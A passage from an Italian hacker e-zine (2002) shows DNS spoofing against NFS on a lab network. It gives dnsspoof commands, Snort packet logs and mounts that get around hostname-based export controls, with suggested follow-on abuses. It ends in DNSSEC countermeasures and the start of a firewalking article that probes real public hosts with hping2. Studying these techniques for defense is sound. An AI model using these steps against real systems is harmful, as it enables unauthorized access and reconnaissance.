| delle richieste di mount remote, in tale file sono pertanto indicate le |
| risorse che si desidera condividere e le macchine autorizzate ad |
| accedere a tali condivisioni. |
| Al momento dell'avvio dei servizi NFS il file /etc/exports viene |
| processato dal comando exportfs -r che viene di norma avviato |
| automaticamente dallo script di inizializzazione dei servizi. Nel qual |
| caso tale file contenesse riferimenti ad hostname il sistema sarà |
| costretto alla risoluzione degli stessi mediante query DNS che |
| potrebbero rendere il sistema soggetto ad accessi non autorizzati. |
| |
| 5.1 NFS server bypass |
| Come avrete avuto modo di capire la pratica comune di inserire hostname |
| all'interno di liste per il controllo degli accessi espone il nostro |
| sistema ad enormi rischi e andrebbe per tanto evitata. |
| Ad ogni modo vediamo come un attacker possa servirsi dello spoofing del |
| DNS al fine di guadagnare un accesso non autorizzato ai rami condivisi |
| del nostro filesystem. |
| |
| Ecco un possibile scenario in cui potrebbe verificarsi un attacco alle |
| risorse condivise del sistema victim operando da un ipotetico sistema |
| attack, gli host in gioco sono ancora una volta quelli utilizzati nel |
| corso dell'esempio precedente: |
| |
| Hostname Indirizzi IP Descrizione |
| |
| attack.linuxbox.com 192.168.1.4 l'host dell'attacker |
| dns.linuxbox.com 192.168.1.5 il server DNS |
| trust.linuxbox.com 192.168.1.6 il client "fidato" |
| victim.linuxbox.com 192.168.1.7 il server NFS |
| |
| Il sistema victim.linuxbox.com si presenta configurato come segue: |
| |
| /etc/exports: |
| /home/ftp trust.linuxbox.com(ro) |
| |
| Il file /etc/exports così dichiarato permette (dovrebbe permettere) |
| l'accesso in sola lettura (ro) alla home directory dell'utente ftp al |
| solo sistema che risponde all'hostname trust.linuxbox.com. |
| |
| Vediamo cosa accade durante il boot del sistema nel momento in cui lo |
| script rc.nfsd (Slackware8.0) inizializza i servizi NFS: |
| |
| Starting NFS services: |
| /usr/sbin/exportfs -r |
| /usr/sbin/rpc.rquotad |
| /usr/sbin/rpc.nfsd 8 |
| /usr/sbin/rpc.mountd --no-nfs-version 3 |
| /usr/sbin/rpc.lockd |
| /usr/sbin/rpc.statd |
| |
| Nel preciso istante in cui lo script rc.nfsd avvia exportfs -r il file |
| /etc/exports viene processato e il nome host trust.linuxbox.com viene |
| risolto nel relativo indirizzo IP tramite DNS query, in tal modo in |
| presenza di una richiesta di mount futura il server NFS non avrà più |
| l'esigenza di interrogare il nameserver ma si avvarrà dell'IP |
| memorizzato a tempo di boot per soddisfare qualsiasi richiesta. |
| Pertanto il solo momento in cui i servizi NFS risultano vulnerabili allo |
| spoofing del DNS è rappresentato dal momento in cui esso aggiorna la |
| tabella delle condivisioni, di norma tale operazione viene svolta |
| durante il boot o su richiesta dell'amministratore. |
| |
| L'output di Snort ci offre la possibilità di loggare i pacchetti che |
| transitano durante questa operazione, ovvero quali query vengono |
| inoltrate da victim verso il DNS e quali risposte riceve da |
| quest'ultimo: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-13:18:28.241483 192.168.1.7:1072 -> 192.168.1.5:53 |
| UDP TTL:120 TOS:0x0 ID:35227 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| 4F 5D 01 00 00 01 00 00 00 00 00 00 05 74 72 75 O]...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Victim invia una query intesa a risolvere l'hostname trust.linuxbox.com |
| che si trova nel file /etc/exports, questa operazione viene eseguita a |
| tempo di boot o su richiesta dell'admin... |
| |
| 02/20-13:18:28.242207 192.168.1.5:53 -> 192.168.1.7:1072 |
| UDP TTL:64 TOS:0x0 ID:395 IpLen:20 DgmLen:114 |
| Len: 94 |
| 4F 5D 85 80 00 01 00 01 00 01 00 01 05 74 72 75 O]...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Il server DNS restituisce a victim la risposta contenente l'IP dell'host |
| trust.linuxbox.com ovvero 192.168.1.6, in fututo quando il server NFS |
| riceverà una richiesta di mount remota confronterà l'indirizzo IP del |
| richiedente con quello ottenuto da questa reply e nel qual caso |
| dovessero risultare uguali permetterà il pieno accesso al filesystem. |
| |
| [...] |
| |
| La stessa query si ripete moltplici volte di conseguenza l'output |
| restante di Snort è stato omesso in quanto ritenuto poco significativo. |
| Se ora dovessimo provare a fare mount da un sistema diverso da trust il |
| risultato sarebbe il seguente: |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission |
| denied |
| |
| Come atteso la nostra richiesta di mount viene scartata in quanto |
| proviene dall'IP 192.168.1.4 (attack) che è ben diverso dall'IP |
| 192.168.1.6 (trust) risolto a boot time. |
| E' importante notare che nel momento della richiesta di mount da parte |
| di un client remoto il server NFS non ha la necessità di consultare il |
| DNS in quanto la risoluzione dell'hostname è avvenuta a tempo di boot. |
| |
| Ne consegue che se un malintenzionato volesse eludere i controlli di |
| sicurezza di NFS dovrebbe agire durante il processo di avvio del server, |
| qui di seguito mi limito ad illustrare in pochi e semplici passi come |
| potrebbe procedere al fine di perseguire il suo scopo: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| L'attacker mette in ascolto Dnsspoof sul proprio sistema in attesa di |
| intercettare le DNS query causate dall'inizializzazione dei servizi NFS |
| sulla macchina della vittima, nell'intento di restituire a victim delle |
| reply a tali interrogazioni che riportino come IP del sistema trust l'IP |
| stesso dell'host da cui l'attacker sta operando, ovvero 192.168.1.4. Le |
| reply fasulle forgiate da Dnsspoof dovranno giungere a victim prima che |
| tale sistema sia raggiunto dalle reply lecite inviategli dal DNS. |
| |
| Qui di seguito vediamo i messaggi che il server victim invia verso |
| l'output standard a testimonianza del fatto che sta procedendo all' |
| inizializzazione di tali servizi: |
| |
| Starting NFS services: |
| /usr/sbin/exportfs -r |
| /usr/sbin/rpc.rquotad |
| /usr/sbin/rpc.nfsd 8 |
| /usr/sbin/rpc.mountd --no-nfs-version 3 |
| /usr/sbin/rpc.lockd |
| /usr/sbin/rpc.statd |
| |
| Segue poi l'output di Dnsspoof che ha catturato e risposto a 4 query |
| rivolte al nameserver (192.168.1.5) da parte di victim (192.168.1.7): |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1074 > 192.168.1.5.53: 62892+ A? trust.linuxbox.com |
| 192.168.1.7.1074 > 192.168.1.5.53: 62893+ A? trust.linuxbox.com |
| 192.168.1.7.1076 > 192.168.1.5.53: 6343+ A? trust.linuxbox.com |
| 192.168.1.7.1076 > 192.168.1.5.53: 6344+ A? trust.linuxbox.com |
| |
| Vediamo il tutto dalla prospettiva offerta da Snort, ovvero come si |
| sono svolte le cose a livello di pacchetto: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-14:29:39.685629 192.168.1.7:1074 -> 192.168.1.5:53 |
| UDP TTL:145 TOS:0x0 ID:8247 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| F5 AC 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| 02/20-14:29:39.686343 192.168.1.5:53 -> 192.168.1.7:1074 |
| UDP TTL:64 TOS:0x0 ID:416 IpLen:20 DgmLen:114 |
| Len: 94 |
| F5 AC 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| Questo secondo pacchetto è giunto a destinazione (victim) ma è stato |
| ignorato in quanto PRECEDUTO dalla risposta fasulla fornita da Dnsspoof. |
| Ora non ci resta che terminare l'esecuzione di Dnsspoof e accedere alle |
| condivisioni di victim come se fossimo l'host legittimo: |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| attacker@attack:~# |
| |
| Ora abbiamo accesso in sola lettura (ro) al ramo del filesystem remoto, |
| e possiamo incominciare a riflettere sui reali problemi in cui possiamo |
| incorrere a causa di un'amministrazione superficiale di tali risorse. |
| |
| 5.2 Exportfs |
| Questo comando viene utilizzato per mantenere aggiornata la tabella |
| delle condivisioni sul sistema server, in particolare è lo script di |
| inizializzazione dei servizi NFS stesso a preoccuparsi di svolgere tale |
| mansione per mezzo della chiamata exportfs -r. |
| Tuttavia tale comando può contribuire ad aprire un varco nella sicurezza |
| del sistema qualora venga richiamato in un tempo successivo all' |
| esecuzione del demone mountd, questo può verificarsi a causa di uno |
| script inaffidabile o per mano dell'admin che richiama tale comando da |
| console. |
| Ho effettuato questa scoperta in maniera del tutto casuale durante i |
| probe che ho effettuato lungo il corso della stesura del presente |
| articolo, premetto che ho avuto modo di testare il presunto bug solo su |
| un sistema che monta Slackware8.0 e kernel 2.4.17. |
| |
| Ecco un esempio, mettiamo che l'admin decida di modificare il file |
| /etc/exports e di conseguenza debba aggiornare le tabelle delle |
| condivisioni con l'ausilio di exportfs -r senza prima provvedere all' |
| arresto dei demoni interessati: |
| |
| victim@victim:~# exportfs -r |
| |
| Come possiamo vedere dall'output di Snort riportato qui di seguito, il |
| file /etc/exports viene processato e l'hostname (trust) contenuto in |
| esso viene risolto nell'IP corrispondente (192.168.1.6): |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-14:49:48.213636 192.168.1.7:1079 -> 192.168.1.5:53 |
| UDP TTL:236 TOS:0x0 ID:19927 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| CD 39 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .9...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| 02/20-14:49:48.214328 192.168.1.5:53 -> 192.168.1.7:1079 |
| UDP TTL:64 TOS:0x0 ID:426 IpLen:20 DgmLen:114 |
| Len: 94 |
| CD 39 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .9...........tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
|
|
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| [...] |
| |
| A questo punto nel momento stesso in cui facciamo il primo tentativo di |
| mount da un host non autorizzato notiamo una cosa molto strana, ossia... |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission |
| denied |
| |
| Osservando l'output di Snort riportato qui di seguito possiamo notare |
| che in presenza del primo tentativo di mount del filesystem remoto si |
| verificano ripetute query al DNS da parte di victim intese a risolvere |
| l'hostname (trust) contenuto nel file /etc/exports: |
| |
| attacker@attack:~# snort -vd udp port 53 |
| 02/20-14:52:05.417517 192.168.1.7:1079 -> 192.168.1.5:53 |
| UDP TTL:197 TOS:0x0 ID:25875 IpLen:20 DgmLen:64 DF |
| Len: 44 |
| 28 CB 01 00 00 01 00 00 00 00 00 00 05 74 72 75 (............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 .... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| 02/20-14:52:05.418237 192.168.1.5:53 -> 192.168.1.7:1079 |
| UDP TTL:64 TOS:0x0 ID:429 IpLen:20 DgmLen:114 |
| Len: 94 |
| 28 CB 85 80 00 01 00 01 00 01 00 01 05 74 72 75 (............tru |
| 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. |
| 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... |
| C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... |
| 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. |
| 00 04 C0 A8 01 05 ...... |
| |
| =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ |
| |
| [...] |
| |
| Facciamo il punto della situazione: |
| - i demoni stavano runnando |
| - viene richiamato exportfs -r |
| - trust.linuxbox.com viene risolto in 192.168.1.6 |
| - tale IP viene memorizzato per impedire query durante le richieste di |
| mount che potranno verificarsi in futuro e che sarebbero altriementi |
| soggette a vulnerabilità dovute al DNS spoofing |
| - prima richiesta di mount |
| - viene nuovamente richieta la risoluzione di trust!!! |
| |
| In parole povere, se exportfs -r è stato richiamato mentre mountd stava |
| runnando e siamo i primi a richiedere il mount allora causeremo una |
| query DNS da parte di victim e saremo in grado di fornire una risposta |
| arbitraria avvalendosi di Dnsspoof e permettendo il mount del filesystem |
| da parte dell'host desiderato! |
| |
| Ad esempio, l'admin ha appena modificato il file delle esportazioni e |
| desidera che le modifiche apportate abbiano effetto, a tale scopo esegue |
| il comando necessario (il demone mountd è in esecuzione): |
| |
| victim@victim:~# exportfs -r |
| |
| Terminata l'esecuzione del comando exportfs, l'attacker pone Dnsspoof in |
| ascolto sull'interfaccia di rete e... |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| ...si prepara a richiedere il mount: |
| |
| attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs |
| attacker@attack:~# |
| |
| le query rivolte a risolvere l'hostname di trust.linuxbox.com vengono |
| intercettate e le risposte fasulle vengono inviate al server NFS victim |
| che permette il mount da parte del sistema attacker: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1034 > 192.168.1.5.53: 43182+ A? trust.linuxbox.com |
| 192.168.1.7.1034 > 192.168.1.5.53: 43183+ A? trust.linuxbox.com |
| |
| 5.3 NFS client bypass |
| Ora la situazione si è invertita, la vittima è il client NFS e deve |
| accedere al server NFS trust.linuxbox.com al quale ha accesso regolare. |
| Lo scopo di colui che attacca è quello di far connettere in maniera del |
| tutto inconsapevole la vittima a un server NFS fasullo. |
| Nell'esempio che mi accingo ad analizzare il server NFS "aggressivo" si |
| trova sul sistema stesso dell'attacker da cui partirà l'attacco di DNS |
| spoofing. Ancora una volta condizione necessaria alla riuscita dell' |
| attacco è rappresentata dall'utilizzo del nome host da parte del lato |
| client NFS al fine di accedere alle risorse remote. |
| |
| Hostname Indirizzi IP Descrizione |
| |
| attack.linuxbox.com 192.168.1.4 il server NFS fasullo |
| dns.linuxbox.com 192.168.1.5 il server DNS |
| trust.linuxbox.com 192.168.1.6 il server NFS "fidato" |
| victim.linuxbox.com 192.168.1.7 il client NFS |
| |
| L'attacker deve disporre sul server NFS fasullo (in questo caso il |
| sistema attack.linuxbox.com) un file exports che permetta l'accesso |
| inconsapevole della vittima: |
| |
| /etc/exports: |
| /home/ftp 192.168.1.7(ro) |
| |
| l'attacker mette in ascolto Dnsspoof, in questo modo qualsiasi richiesta |
| di mount da parte di un client NFS che abbia come destinatario il |
| sistema trust verrà reindirizzata verso il server NFS fasullo (attack) |
| in maniera del tutto trasparente alla vittima: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| |
| La vittima richiede di montare la porzione di filesystem /home/ftp dal |
| sistema trust... |
| |
| victim@victim:~# mount trust.linuxbox.com:/home/ftp /mnt/nfs |
| victim@victim:~# |
| |
| ...in realtà la sua richiesta viene inoltrata a 192.168.1.4, IP |
| suggeritogli dalla reply fasulla forgiata da Dnsspoof: |
| |
| attacker@attack:~# dnsspoof -f ~/hosts.txt |
| dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] |
| 192.168.1.7.1034 > 192.168.1.5.53: 62600+ A? trust.linuxbox.com |
| |
| Una pratica comune che sarebbe bene evitare è quella di inserire una |
| voce in /etc/fstab che esegua il mount di un filesystem NFS, il fatto |
| stesso di automatizzare l'operazione espone i client NFS a rischi ancora |
| maggiori. |
| |
| Ora vi starete chiedendo, che interessi può avere un utente malizioso ad |
| ingannare un client NFS al fine di forzare il mount di un filesystem |
| differente da quello previsto? |
| Ecco alcuni semplici esempi che mi limiterò a citare in quanto la loro |
| trattazione non rientra nel tema principale di questo articolo: |
| |
| 1)molti sistemi con funzione di workstation montano le /home degli |
| utenti da remoto a tempo di boot, se un attacker fosse in grado di |
| forzare il mount in lettura/scrittura di una home fittizia che si trova |
| sul proprio sistema potrebbe venire in possesso di dati di fondamentale |
| importanza per l'integrità dell'account utente attaccato quali ad |
| esempio .bash_history; |
| |
| 2)come nell'esempio precedente, se l'attacker fosse in grado di montare |
| una directory home fittizia potrebbe inserire in essa script come |
| .bash_profile o .bashrc in grado di eseguire potenzialmente qualsiasi |
| operazione al momento del login della vittima; |
| |
| 3)se l'attacker ha accesso al sistema victim come utente generico e tale |
| sistema, in seguito alla presenza di una voce nel file /etc/fstab, |
| esegue un mount automatico tramite NFS potrà essere forzato a montare un |
| filesystem aggressivo al fine di mettere a disposizione di attacker file |
| potenzialmente dannosi per la sicurezza stessa del sistema, ad esempio |
| suid shell o script perl setuserid. |
| L'utilizzo delle opzioni nosuid e noexec del comando mount non sempre |
| offrono la sicurezza sperata e possono essere aggirate agilmente con |
| semplici accorgimenti: |
| |
| - nosuid NON impedisce l'esecuzione di script Perl tramite Suidperl; |
| - noexec NON impedisce che i file dannosi vengano copiati su un altro |
| filesystem dove potranno essere eseguiti. |
| |
| 6. Contromisure |
| I servizi offerti da un server DNS sono vulnerabili allo spoofing a |
| causa della totale assenza di un sistema di autenticazione. Un buon |
| rimedio è rappresentato dall'utilizzo di software quale DNSSEC che |
| applica una firma digitale per assicurare la provenienza legittima delle |
| reply da parte di un server DNS autorizzato. |
| Effetti collaterali quali la necessità di maggiore banda a disposizione, |
| maggior mole di lavoro per la macchina e per l'amministratore del |
| sistema sono la causa principale della lenta diffusione di DNSSEC. |
| |
| 7. Risorse |
| Bind Howto |
| man Dnsspoof |
| NFS Howto |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| 0NDAQUADRA ~ [NETW0RKiNG] #06 - 25/04/2002 |
| FiREWALKiNG [E4zy] 0x07/0x1D |
+--------------------------------------------------------------------------+
| |
| 1. TCP/IP Protocol |
| |
| 2. Firewalking |
| |
| 3. RFC 793, Transmission Control Protocol |
| 3.1 Closed State |
| 3.2 Listen State |
| |
| 4. Auditing delle ACL |
| 4.1 Semplici deduzioni sui flag |
| 4.2 ICMP message |
| 4.3 Traceroute |
| 4.4 UDP scan |
| |
| 5. Vulnerability |
| 5.1 Check Point FireWall-1 |
| 5.2 Syncookies |
| |
| 6. Backdoor |
| |
| 7. Risorse |
| |
| |
| |
| 1. TCP/IP Protocol |
| Il presente articolo da per scontato che il lettore sia in possesso di |
| buone conoscenze inerenti ai protocolli di rete e al loro funzionamento, |
| per tanto tale argomento non verrà affrontato durante la trattazione di |
| questo testo. |
| |
| 2. Firewalking |
| Il termine firewalking è usato per indicare l'insieme di tecniche che |
| permettono di identificare un router/firewall e le rispettive ACL(1). |
| |
| (1)ACL: Access Control List, è un termine usato per indicare l'insieme |
| di regole adottate dai dispositivi a filtro di pacchetto per stabilire |
| se il traffico su una data interfaccia sia lecito o meno. |
| |
| Tramite il firewalking un attacker è in grado di rilevare potenziali |
| falle nella sicurezza del firewall al fine di ottenere un accesso non |
| autorizzato alla rete interna. |
| Lo scopo di questo articolo è descrivere nel dettaglio queste tecniche |
| al fine di consentire l'applicazione delle stesse ad un amministratore |
| che voglia testare con mano l'efficacia dei propri sistemi di |
| protezione. |
| |
| 3. RFC 793, Transmission Control Protocol |
| Gran parte delle tecniche che introdurrò nel corso della trattazione di |
| questo articolo trovano le loro basi portanti nelle specifiche dei |
| protocolli di rete e precisamente nel TCP. |
| |
| 3.1 Closed State |
| (Dall'RFC 793) |
| |
| 1. If the connection does not exist (CLOSED) then a reset is sent |
| in response to any incoming segment except another reset. In |
| particular, SYNs addressed to a non-existent connection are rejected |
| by this means. |
| |
| If the incoming segment has an ACK field, the reset takes its |
| sequence number from the ACK field of the segment, otherwise the |
| reset has sequence number zero and the ACK field is set to the sum |
| of the sequence number and segment length of the incoming segment. |
| The connection remains in the CLOSED state. |
| |
| A quanto pare possiamo dedurre che se inviamo un pacchetto ad un certo |
| host su una porta che risulta chiusa esso ci risponderà con un pacchetto |
| con flag RST attivo, a meno che il pacchetto che gli abbiamo mandato non |
| contenesse a sua volta il solo flag RST impostato a 1. |
| |
| Ecco un esempio pratico di quanto ho appena detto, a tale scopo userò il |
| tool Hping2 di Antirez che permette di forgiare pacchetti TCP adatti |
| alle nostre esigenze: |
| |
| # hping2 -p 1 -S localhost |
| HPING localhost (lo 127.0.0.1): S set, 40 headers + 0 data bytes |
| len=40 ip=127.0.0.1 flags=RA seq=0 ttl=255 id=679 win=0 rtt=0.3 ms |
| len=40 ip=127.0.0.1 flags=RA seq=1 ttl=255 id=680 win=0 rtt=0.2 ms |
| len=40 ip=127.0.0.1 flags=RA seq=2 ttl=255 id=681 win=0 rtt=0.2 ms |
| |
| --- localhost hping statistic --- |
| 3 packets tramitted, 3 packets received, 0% packet loss |
| round-trip min/avg/max = 0.2/0.3/0.3 ms |
| |
| Ho inoltrato un pacchetto con flag SYN attivo alla porta 1 di localhost |
| che si trova nello stato CLOSE, in risposta ho ottenuto un pacchetto RST |
| (flags=RA, stà per RST/ACK) come pronosticato. |
| |
| Ora inviamo allo stesso host e alla stessa porta un pacchetto con flag |
| RST attivo, come da specifiche RFC l'host non risponderà con alcun |
| pacchetto: |
| |
| # hping2 -p 1 -R localhost |
| HPING localhost (lo 127.0.0.1): R set, 40 headers + 0 data bytes |
| |
| --- localhost hping statistic --- |
| 3 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| 3.2 Listen State |
| Bene, passiamo alla seconda osservazione che sorge spontanea osservando |
| con occhio attento l'RFC del TCP: |
| |
| (Dall'RFC 793) |
| |
| 2. If the connection is in any non-synchronized state (LISTEN, |
| SYN-SENT, SYN-RECEIVED), and the incoming segment acknowledges |
| something not yet sent (the segment carries an unacceptable ACK), or |
| if an incoming segment has a security level or compartment which |
| does not exactly match the level and compartment requested for the |
| connection, a reset is sent. |
| |
| [...] |
| |
| If the incoming segment has an ACK field, the reset takes its |
| sequence number from the ACK field of the segment, otherwise the |
| reset has sequence number zero and the ACK field is set to the sum |
| of the sequence number and segment length of the incoming segment. |
| The connection remains in the same state. |
| |
| Da queste righe traspare che se inviassimo un pacchetto con flag ACK |
| attivo su una porta che si trova nello stato LISTEN avremo in risposta |
| un pacchetto con flag RST pari a 1 (attivo), si prenda per esempio: |
| |
| # hping2 -p 80 -A localhost |
| HPING localhost (lo 127.0.0.1): A set, 40 headers + 0 data bytes |
| len=40 ip=127.0.0.1 flags=R seq=0 ttl=255 id=710 win=0 rtt=0.3 ms |
| len=40 ip=127.0.0.1 flags=R seq=1 ttl=255 id=711 win=0 rtt=0.2 ms |
| len=40 ip=127.0.0.1 flags=R seq=2 ttl=255 id=712 win=0 rtt=0.2 ms |
| |
| --- localhost hping statistic --- |
| 3 packets tramitted, 3 packets received, 0% packet loss |
| round-trip min/avg/max = 0.2/0.3/0.3 ms |
| |
| L'inoltro del pacchetto con flag ACK impostato a 1 verso la porta 80 |
| (LISTEN) del sistema localhost ha causato, come risposta da parte dello |
| stesso, un pacchetto RST (flags=R) come da specifiche del protocollo. |
| |
| Procedendo in maniera analoga mi è stato possibile isolare la seguente |
| tabella che useremo da adesso in poi come riscontro dei nostri probe: |
| |
| ________________________________ |
| | | | | |
| | STATE | FLAG | REPLY | |
| |__________|__________|__________| |
| | Listen | NULL | None | |
| | Listen | FIN | None | |
| | Listen | RST | None | |
| | Listen | ACK | RST | |
| | Listen | SYN | SYN/ACK | |
| | Closed | RST | None | |
| | Closed | NULL | RST/ACK | |
| | Closed | ACK | RST | |
| | Closed | SYN | RST/ACK | |
| | Closed | FIN | RST/ACK | |
| |
| |
| 4. Auditing delle ACL |
| |
| 4.1 Semplici deduzioni sui flag |
| La tecnica si basa su semplici deduzioni pertanto è bene procedere |
| tenendo bene a mente la tabella riportata qui sopra, procederò nella |
| spigazione aiutandomi con degli esempi al fine di risultare il più |
| chiaro possibile: |
| |
| # hping2 -p 80 -S www.yahoo.it |
| HPING www.yahoo.it (eth0 217.12.3.11): S set, 40 headers + 0 data bytes |
| len=46 ip=217.12.3.11 flags=SA DF seq=0 ttl=51 id=19912 win=65535 [...] |
| len=46 ip=217.12.3.11 flags=SA DF seq=1 ttl=51 id=56715 win=16384 [...] |
| len=46 ip=217.12.3.11 flags=SA DF seq=2 ttl=51 id=41115 win=65535 [...] |
| |
| Il web server è in ascolto sulla porta 80 e risponde prontamente ad una |
| richiesta di connessione (flag SYN=1) con un pacchetto SYN/ACK, tutto è |
| andato come previsto. |
| Ora proviamo ad inviare un pacchetto con il solo flag ACK attivo, quello |
| che ci aspetteremo attenendoci alla solita tabella è di ricevere un RST: |
| |
| # hping2 -p 80 -A www.yahoo.it |
| HPING www.yahoo.it (eth0 217.12.3.11): A set, 40 headers + 0 data bytes |
| |
| --- www.yahoo.it hping statistic --- |
| 3 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| Diversamente da quanto atteso non abbiamo ricevuto alcun pacchetto in |
| risposta, quasi come se il nostro ACK fosse stato droppato(2). |
| Cosa è andato storto? |
| L'ipotesi più plausibile è che vi sia un firewall a filtro di pacchetto |
| che blocchi qualsiasi pacchetto non sia inteso a stabilire una |
| connessione con la porta in questione. |
| |
| (2)droppato: dall'inglese to drop, significa letteralmente lasciar |
| cadere, si usa per indicare una richiesta che viene del tutto ignorata. |
| |
| Penso che abbiate capito come funziona...vero? |
| Il segreto consiste nel rilevare una contraddizione tra il reply che |
| normalmente ci si aspetta dallo stack TCP e il valore restituito |
| dal probe. |
| |
| 4.2 ICMP message |
| La specificità di alcuni messaggi di errore ICMP può fornire |
| informazioni molto preziose riguardo alle caratteristiche stesse della |
| rete che ha generato il messaggio. Una tecnica molto comune utilizzata |
| per raccogliere informazioni si basa proprio sulla creazione di |
| pacchetti appositamente studiati per generare un messaggio di errore |
| ICMP da parte dell'host destinatario del pacchetto. |
| |
| Procedendo nell'analisi delle ACL ci capiterà di imbatterci in un ICMP |
| di tipo 3 codice 13 che segnala la presenza di un filtro imposto dall' |
| amministratore. |
| Ogni qual volta otterremo in risposta ad un dato probe un ICMP di quel |
| tipo non solo saremo al corrente della presenza di un firewall ma ne |
| conosceremo l'indirizzo IP, il che rappresenta un gran vantaggio al fine |
| di determinare il diretto responsabile del filtraggio del traffico |
| illecito. Hping2 rileva e segnala la presenza di un filtro |
| amministrativo in questo modo: |
| |
| # hping2 -p 79 -S www.libero.it |
| HPING www.libero.it (eth0 195.210.91.83): S set, 40 headers + 0 data |
| ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN |
| ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN |
| ICMP Packet filtered from ip=192.106.7.230 name=UNKNOWN |
| |
| --- www.libero.it hping statistic --- |
| 6 packets tramitted, 0 packets received, 100% packet loss |
| round-trip min/avg/max = 0.0/0.0/0.0 ms |
| |
| l'IP riportato non è necessariamente quello del sistema destinatario |
| bensì del sistema che ha generato la risposta ICMP ovvero il firewall :) |
| |
| Vi sono molti modi di procedere al fine di causare l'emissione di un |
| messaggio ICMP da parte di un sistema remoto, la mancata emissione dello |
| stesso indica con tutta probabilità la presenza di un dispositivo |
| filtrante. |
